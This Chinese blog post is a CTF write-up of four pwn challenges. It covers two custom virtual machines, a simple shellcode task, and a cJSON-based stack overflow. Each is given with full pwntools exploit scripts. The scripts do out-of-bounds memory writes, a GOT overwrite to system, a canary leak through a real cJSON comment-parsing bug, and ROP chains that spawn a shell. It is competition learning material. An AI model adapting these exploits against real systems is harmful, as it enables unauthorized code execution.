前言
这次比赛的赛制和今年国赛的赛制一样. 名为攻防, 实为解题. 不过和常规解题相比加了个罚时规则, 越早解出题拿到的分就越多. 所以解题速度很关键.
但是感觉这次比赛的题目就是为攻防比赛出的: 4个pwn 题三个虚拟机, 需要做较多的逆向工作, 然而我逆向还是太菜了, 最后只解出了其中两个题, 还有个题有思路了但是时间来不及了, 很可惜.
比赛结束之后把其中三个题又都做了一遍, 整理一下水篇博客
粤湾中心 (RHVM)
一个虚拟机题, 指令集比较简单, 在 rm_mov(从内存mov到寄存器) 和 mr_mov 的实现中都有漏洞, 可以导致越界读写.
题目开始会打开flag 文件, 并把文件描述符 dup 到 0x233. 还有个seccomp 禁用了 execve 系统调用, 感觉就是用来误导人的, 没啥用.
题目执行完指令之后会有个读取姓名(用的scanf)再输出的过程.
所以思路很清晰. 直要能够将 stdin->fileno 改成 0x233 即可拿到flag.
利用上面的两个漏洞很容易做到
exp 如下
from pwn import *
import time
import sys
global io
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
filename = "RHVM.bin"
LOCAL = 1 if len(sys.argv)==1 else 0
elf = ELF(filename)
io = process("./"+filename)
libc = elf.libc
def play( eip, esp, size, code, interval=0.3):
io.sendlineafter( "EIP", str(eip))
io.sendlineafter( "ESP", str(esp))
io.sendlineafter( "length", str(size))
io.recvuntil( "Give me code: ")
for c in code:
io.sendline(c)
time.sleep(interval)
def encode(func, dst, src):
return str(u64(chr(src)+chr(dst)+p32(func)+"\x00\x00"))
def push_reg(idx):
return encode(0x70, idx, idx)
def rr_mul(dst, src):
return encode(0xc0, dst, src)
def shl(dst_reg, val_reg):
return encode(0xe0, dst_reg, val_reg)
def shr(dst_reg, val_reg):
return encode(0xf0, dst_reg, val_reg)
def rr_sub(dst, src):
return encode(0xd0, dst, src)
def rr_add(dst, src):
return encode(0xa0, dst, src)
def rr_div(dst, src):
return encode(0xb0, dst, src)
def pop_reg(idx):
return encode(0x80, idx, idx)
def mr_mov(addr_reg, val_reg):
return encode(0x41, addr_reg, val_reg)
def jmp_offset(off_reg):
return encode(0x50, off_reg, off_reg)
def info_regs(s=""):
print(s) if s!= "" else 0
return encode(0x60, 0, 0)
def rm_mov(dst_idx_reg, addr_reg):
return encode(0x42, dst_idx_reg, addr_reg)
def rr_or(dst, src):
return encode(0x20, dst, src)
def ri_mov(dst_reg, imm):
return encode(0x40, dst_reg, imm)
def rr_xor(dst, src):
return encode(0x10, dst, src)
stdin = 0x30
g_stack = 0x58
g_regs = 0x60
g_mem = 0x80
fileno_off = 112
codes = []
context.log_level = "info"
#### 1. mov addr of stdin to reg[0](low 4 byte)
# (0x30-0x80)/4 = -20
codes.append(ri_mov(5, 5))
codes.append(rr_sub(4, 5))
codes.append(rr_sub(4, 5))
codes.append(rr_sub(4, 5))
codes.append(rr_sub(4, 5) ) # now r4 = -20
codes.append(rm_mov(0, 4) ) # now low byte of stdin in r0
#### 2. modidy g_stack's low 4 byte as stdin's addr
# (0x58-0x80)/4 = -10
codes.append(rr_sub(6, 5))
codes.append(rr_sub(6, 5)) # r6 = -10
codes.append(mr_mov(6, 0)) # g_stack's low 4 byte
"""
r0: f7dd1950
r1: 0
r2: 70
r3: 4
r4: ffffffec
r5: 5
r6: fffffff6
r7: 0
EIP: d
ESP: 4
"""
#### 3. modify g_stack's high 4 bytes g_regs[-1] = g_mem(-19)
codes.append(ri_mov(7, 1))
codes.append(rr_sub(1, 7)) # r0 = -1
codes.append(rr_add(4, 7)) # r4 = -19
codes.append(rm_mov(1, 4))
# codes.append(info_regs())
"""
r0: f7dd18e0
r1: ffffffff
r2: 0
r3: 0
r4: ffffffed
r5: 5
r6: fffffff6
r7: 1
EIP: d
"""
#### 4. mov 0x233 to reg [2]
# 0x233 = 0b11 | (0b11 << 4) | (0b1 << 9)
codes.append(ri_mov(3, 4)) # r3 = 4
codes.append(ri_mov(0, 0b11))
codes.append(shl(0, 3)) # r0 = 0b11 << 4
codes.append(ri_mov(1, 0b11))
codes.append(rr_or(0, 1)) # r0 = 0b11 | (0b11 << 4)
codes.append(rr_add(5, 3)) # r5 = 9
codes.append(shl(7, 5)) # r7 = 0b1 << 9
codes.append(rr_or(0, 7)) # r0 = 0b1 | (0b1 << 9) | (0b1 << 9) = 0x233
codes.append(info_regs())
#### 5. push reg[2]
codes.append(push_reg(0))
play( 0, (112-4)/4, len(codes), codes, 0.1)
io.interactive()
这题最后40分钟开始看, 实在来不及做了
粤湾银行 (vm2)
这个虚拟机比第一个复杂些, 是变长指令, 指令数也很多.
这个虚拟机是用一个 int regs[6]
数组表示寄存器的, 在读写寄存器的操作时没有校验导致可以越界写修改后面的 栈的地址, 进而绕过 计算地址时的校验, 可以实现任意地址读写的效果. 直接把 free@got 改成 system 地址即可
虚拟机结构体如下
00000000 cpu struc ; (sizeof=0x2C, mappedto_5)
00000000 regs dd 6 dup(?)
00000018 _esp dd ?
0000001C end2 dd ?
00000020 _ip dd ? ; offset
00000024 flags dd ?
00000028 stack dd ?
0000002C cpu ends
exp 如下
from pwn import *
from time import sleep
import sys
global io
context(arch = 'i386', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
filename = "./pwn"
ip = ""
port = 0
LOCAL = True if len(sys.argv)==1 else False
elf = ELF(filename)
remote_libc = "remote_libc"
if LOCAL:
io = process(filename)
libc = elf.libc
else:
context.log_level = 'debug'
io = remote(ip, port)
libc = ELF(remote_libc)
def lg(name, val):
log.info(name+" : "+hex(val))
def choice( idx):
io.sendlineafter( ".exit\n>>> ", str(idx))
def new_game( code):
choice( 1)
time.sleep(0.3)
io.send( code)
def play(p):
choice( 2)
def ri_op(op):
def decorator(func):
def wrapper(*args, **kwargs):
def f(idx, imm):
return chr(op)+chr(idx)+p32(imm)
return f(*args, **kwargs)
return wrapper
return decorator
def rr_op(op):
def decorator(func):
def wrapper(*args, **kwargs):
def f(dst, src):
return chr(op)+chr(dst)+chr(src)
return f(*args, **kwargs)
return wrapper
return decorator
def push_imm(imm):
return "\x73"+p32(imm)
def push_reg(idx):
return "\x70"+chr(idx)
def dec(idx):
return"\x30"+chr(idx)
@ri_op(0x53)
def ri_sub(idx, imm):
pass
@rr_op(0x50)
def rr_sub(dst, src):
pass
@ri_op(0x63)
def ri_mul(dst, imm):
pass
@rr_op(0x60)
def rr_mul(dst, src):
pass
@ri_op(0x43)
def ri_add(dst, imm):
pass
@rr_op(0x40)
def rr_add(dst, src):
pass
def putchar():
return "\x10\x01"
def getchar():
return "\x10\x00"
def inc(dst):
return "\x20"+chr(dst)
def rm_mov(dst, base_reg, offset):
return "\x01"+chr(dst)+chr(base_reg)+chr(offset)
def mr_mov(base_reg, offset, src):
return "\x02"+chr(base_reg)+chr(offset)+chr(src)
def mi_mov(base_reg, offset, imm):
return "\x04"+chr(base_reg)+chr(offset)+p32(imm)
def ri_mov(dst, imm):
return "\x03"+chr(dst)+p32(imm)
def rr_mov(dst, src):
return "\x00"+chr(dst)+chr(src)
def pop(dst):
return "\x80"+chr(dst)
def ret():
return "\xb0"
libc.address = 0
read_off = libc.symbols['read']
system_off = libc.symbols['system']
binsh_off = next(libc.search("/bin/sh\0"))
'''
00000000 cpu struc ; (sizeof=0x2C, mappedto_5)
00000000 regs dd 6 dup(?)
00000018 _esp dd ?
0000001C end2 dd ?
00000020 _ip dd ? ; offset
00000024 flags dd ?
00000028 stack dd ?
0000002C cpu ends
'''
got_start = 0x0804B000
got_read = 0x0804B010
got_free = 0x0804B018
p1 = ri_mov(0x28/4, got_start) #cpu->stack = got_start
p1 += ri_mov(3, got_read)
p1 += rm_mov(0, 3, 0)
p1 += ri_mov(1, read_off)
p1 += rr_sub(0, 1) # libc base in r0
p1 += ri_mov(1, system_off)
p1 += rr_add(1, 0) # system addr in r1
p1 += ri_mov(2, got_free)
p1 += mr_mov(2, 0, 1) # got.free = system
p1 += ri_mov(3, binsh_off)
p1 += rr_add(3, 0) # binsh addr in r3
p1 += rr_mov(0x28/4, 3)
p1 += "\xb0"
new_game( p1)
play(io)
choice( "3")
io.interactive()
attack and defense (粤湾证券)
这题貌似和 今年的 xctf final 差不多. 用来解题就是浪费.......
直接执行 system("/bin/sh")
就行了
from pwn import *
import base64
io = process("./pwn")
io.recvuntil("gift:")
libc = int(io.recv(14),16)
print "libc:" + hex(libc)
code = p64(16) + p64(0) + p64(libc + 0x1B3E9A) + p64(64) + "system\x00\x00"
code = base64.b64encode(code)
io.recvuntil("Give me code:")
io.send(code)
io.interactive()
mislead (粤湾保险)
这题在 create 功能里有一个栈溢出很明显, 但是不知道怎么泄露 canary. 看了官方的wp [1] 才知道是用到了 cJson 的一个 CVE [2].
拿到题目发现运行需要 jemalloc.so, 以为是 jemalloc 有关的堆题, 就直接放弃了. 没想到和堆 一点关系都没有.
cJson 的这个漏洞是因为处理 多行注释的时候没有考虑注释不闭合的情况, 可以导致越界读, 具体细节参考issue 338 [2] . 本题中可以用来leak canary. 有了canary之后就是常规的rop.
exp 如下
from pwn import *
from time import sleep
import sys
global io
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
filename = "mislead"
ip = ""
port = 0
LOCAL = True if len(sys.argv)==1 else False
elf = ELF(filename)
remote_libc = "remote_libc"
if LOCAL:
io = process("./" + filename, env={'LD_PRELOAD': "./libjemalloc.so.2"})
libc = elf.libc
else:
context.log_level = 'debug'
io = remote(ip, port)
libc = ELF(remote_libc)
def lg(name, val):
log.info(name+" : "+hex(val))
def minify( size, json_str):
io.sendlineafter( "Wanna mislead me?(-1/0/1)", '1')
io.sendlineafter( "Len:", str(size))
io.sendafter( "Str:", json_str)
def create( id, data):
io.sendlineafter( "Wanna mislead me?(-1/0/1)", '1')
io.sendlineafter( "Len:", "256")
io.sendafter( "Create json's id:", id)
io.sendafter( "Create json's data:", data)
# https://github.com/DaveGamble/cJSON/issues/338
minify( 0x27, "/*".ljust(0x27, "a"))
io.recvuntil( "RAW DATA:")
canary = u64("\x00"+io.recv( 7))
lg("canary", canary)
io.sendline( "")
PRdiR = 0x0000000000405f03
got_read = 0x00607FC0
plt_puts = 0x00401027
vuln = 0x00400D7B
bss = 0x608000 # - 0x609000
p1 = fit({
0x808:p64(canary),
0x810:p64(bss+0x100),
0x818:(p64(PRdiR)+
p64(got_read)+
p64(plt_puts)
)
}, filler="a")
create( 'pu1p\n', p1+'\n')
io.recvuntil( "}")
read_addr = u64(io.recv( 6)+"\x00\x00")
libc.address = read_addr - libc.symbols['read']
lg("read_addr", read_addr)
lg("libc base", libc.address)
system_addr = libc.symbols['system']
binsh_addr = next(libc.search("/bin/sh\0"))
p2 = fit({
0x808:p64(canary),
0x810:p64(bss+0x100),
0x818:(p64(PRdiR)+
p64(binsh_addr)+
p64(system_addr)
)
}, filler="b")
io.sendafter( "Create json's id:", "pu1p\n")
io.sendafter( "Create json's data:", p2+'\n')
io.interactive()
总结
复现完就发现题目其实都不是很难, 并没有触及知识盲区.
逆向水平还是太菜了, 平时需要多练练
参考
[1] http://blog.gdcert.com.cn/forum.php?mod=viewthread&tid=26&extra=page%3D1
[2] https://github.com/DaveGamble/cJSON/issues/338